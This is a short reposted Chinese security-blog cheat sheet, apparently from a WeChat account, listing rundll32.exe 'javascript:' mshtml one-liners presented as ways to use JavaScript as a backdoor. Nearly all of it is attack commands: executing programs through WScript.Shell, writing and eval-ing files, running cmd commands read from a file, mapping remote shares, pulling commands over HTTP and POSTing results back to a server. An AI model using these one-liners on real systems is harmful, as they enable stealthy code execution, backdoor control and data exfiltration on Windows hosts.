//Execute A Command
-
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc");
//Write To A File
-
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";fso=new%20ActiveXObject("Scripting.FileSystemObject");a=fso.CreateTextFile("c:\Temp\testfile.txt",true);a.WriteLine("Test");a.Close();self.close;
//Read and Execute From A File
-
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();fso=new%20ActiveXObject("Scripting.FileSystemObject");f=fso.OpenTextFile("c:\Temp\testfile.txt",1);eval((f.ReadAll()));
//Map A Remote Share (WEBDAV)
-
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";n=new%20ActiveXObject('WScript.Network');n.MapNetworkDrive("S:","https://live.sysinternals.com");self.close;
//Map A Local Share
-
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";n=new%20ActiveXObject('WScript.Network');n.MapNetworkDrive("S:","\\Localhost\c$");self.close;
//Read and Execute Commands From A File
-
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();fso=new%20ActiveXObject("Scripting.FileSystemObject");f=fso.OpenTextFile("c:\Temp\Commands.txt",1);while(!f.AtEndOfStream){t=new%20ActiveXObject("WScript.Shell");t.Run("cmd%20/c%20"%20+%20f.ReadLine(),null,true);};
//Retrieve Commands From HTTP
-
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1/a.txt",false);h.Send();B=h.ResponseText;alert(B);
//POST results back to Server
-
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("POST","http://127.0.0.1:8081/a.php",false);h.Send("Stuff");
扫描下方二维码学习更多WEB安全知识：
本文始发于微信公众号（Ms08067安全实验室）：利用Javascript做后门的利用方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论